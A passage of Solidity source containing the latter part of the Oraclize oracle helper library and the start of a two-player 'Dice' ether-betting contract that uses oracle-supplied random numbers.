string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Dice is usingOraclize {
uint constant INVALID_BETPRICE_ID = 999999;
uint constant INVALID_BET_ID = 0;
uint constant BET_STATE_WAITPAIR = 0;
uint constant BET_STATE_WAITORACLIZE = 1;
uint constant BET_STATE_END = 2;
uint constant BET_STATE_CANCEL_BY_PLAYER = 3;
uint constant BET_STATE_CANCEL_BY_OWNER = 4;
uint constant BET_STATE_CANCEL_BY_ORACLIZE_ERROR_RANDOM_NUMBER = 5;
uint constant BET_STATE_CANCEL_BY_ORACLIZE_ERROR_FEE = 6;
uint constant BET_STATE_CANCEL_BY_RANDOM_NUMBER_A_EUQAL_B = 7;
address public owner;
bool public isStopped;
struct Bet {
uint betPrice;
uint betState;
address playerAddressA;
address playerAddressB;
uint numberRolled;
uint oraclizeFee;
}
uint public betFee = 200;
uint[] public betPrices = [ 200 finney , 500 finney, 1000 finney];
uint[] public waitPairBetIDs = [ INVALID_BET_ID , INVALID_BET_ID ,INVALID_BET_ID];
uint public oraclizeCallbackGasLimit = 200000;
Bet[] public bets ;
mapping (bytes32 => uint) public oraclizeQueryID2BetID;
mapping (address => uint) public address2SendErrorValue;
event LOG_ORACLIZE_CALLBACK(uint indexed betid , bytes32 _queryId, string _result, bytes _proof);
event LOG_SEND_ERROR(uint indexed betid , address indexed player, uint value);
event LOG_SET_SEND_ERROR_VALUE(address indexed player, uint value);
function Dice() {
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
bets.push(Bet(0,0,address(0x0),address(0x0),0,0));
}
modifier onlyIfNotStopped {
if (isStopped) throw;
_;
}
modifier onlyOwner {
if (owner != msg.sender) throw;
_;
}
modifier onlyBetCanCancel(uint betid) {
if((bets[betid].betState != BET_STATE_WAITPAIR)&&
(bets[betid].betState != BET_STATE_WAITORACLIZE)
) throw;
_;
}
function stopContract() public
onlyOwner {
isStopped = true;
}
function resumeContract() public
onlyOwner {
isStopped = false;
}
function changeOwnerAddress(address newOwner) public
onlyOwner {
if (newOwner == address(0x0)) throw;
owner = newOwner;
}
function setBetFee(uint newfee) public
onlyOwner
{
betFee = newfee;
}
function setOraclizeCallbackGasLimit(uint newgaslimit) public
onlyOwner
{
oraclizeCallbackGasLimit = newgaslimit;
}
function setOraclizeCallbackGasPrice(uint newgasprice) public
onlyOwner
{
oraclize_setCustomGasPrice(newgasprice);
}
function getProfitToAddress(uint profit , address receiver) public
onlyOwner
{
if(this.balance - profit < getBetWaitEndEther()) throw;
receiver.transfer(profit);
}
function getProfit() public
onlyOwner
{
owner.transfer(this.balance - getBetWaitEndEther());
}
function clearWaitPairBets() public
onlyOwner
{
for( uint i = 0 ;i<waitPairBetIDs.length;i++){
while(waitPairBetIDs[i] != INVALID_BET_ID){
cancelBetByOwner(waitPairBetIDs[i]);
}
}
}
function setBetPrices(uint[] newprices) public
onlyOwner
{
uint i=0;
for( ;i<waitPairBetIDs.length;i++){
if(waitPairBetIDs[i] != INVALID_BET_ID)
throw;
}
betPrices = newprices;
waitPairBetIDs = new uint[](betPrices.length);
for(i = 0 ;i<waitPairBetIDs.length;i++){
waitPairBetIDs[i] = INVALID_BET_ID;
}
}
function setSendErrorValue(address player , uint value) public
onlyOwner
{
address2SendErrorValue[player] = value;
LOG_SET_SEND_ERROR_VALUE(player,value);
}
function() public
payable
{
bet();
}
function bet() public
payable
onlyIfNotStopped
{
uint betpriceid = getBetPriceID(msg.value);
if(betpriceid != INVALID_BETPRICE_ID){
doBet(betpriceid);
}else{
if (owner != msg.sender) throw;
}
}
function doBet(uint betpriceid)
private
{
uint waitpairbetid = waitPairBetIDs[betpriceid];
if ((waitpairbetid != INVALID_BET_ID )&&(bets[waitpairbetid].playerAddressA != msg.sender)){
bets[waitpairbetid].betState = BET_STATE_WAITORACLIZE;
bets[waitpairbetid].playerAddressB = msg.sender;
uint oraclizeFee = getOraclizePrice();
if (oraclizeFee > msg.value ) {
cancelBet(waitpairbetid,false,BET_STATE_CANCEL_BY_ORACLIZE_ERROR_FEE);
}else{
bytes32 oraclizeQueryID = oraclize_newRandomDSQuery(0, 2, oraclizeCallbackGasLimit);
oraclizeQueryID2BetID[ oraclizeQueryID ] = waitpairbetid;
bets[waitpairbetid].oraclizeFee = oraclizeFee;
findNextwaitPairBetIDs(betpriceid , waitpairbetid);
}
}else {
bets.push( Bet(
msg.value,
BET_STATE_WAITPAIR,
msg.sender,
address(0x0),
0,
0
));
if (waitpairbetid == INVALID_BET_ID )
waitPairBetIDs[betpriceid] = bets.length - 1;
}
}
function getBetPriceID(uint sendvalue)
private
returns (uint)
{
for(uint i = 0;i < betPrices.length;i++){
if(betPrices[i]==sendvalue)
return i;
}
return INVALID_BETPRICE_ID;
}
function findNextwaitPairBetIDs(uint betpriceid,uint betid)
private
{
for(uint i = betid+1 ; i< bets.length ; i++){
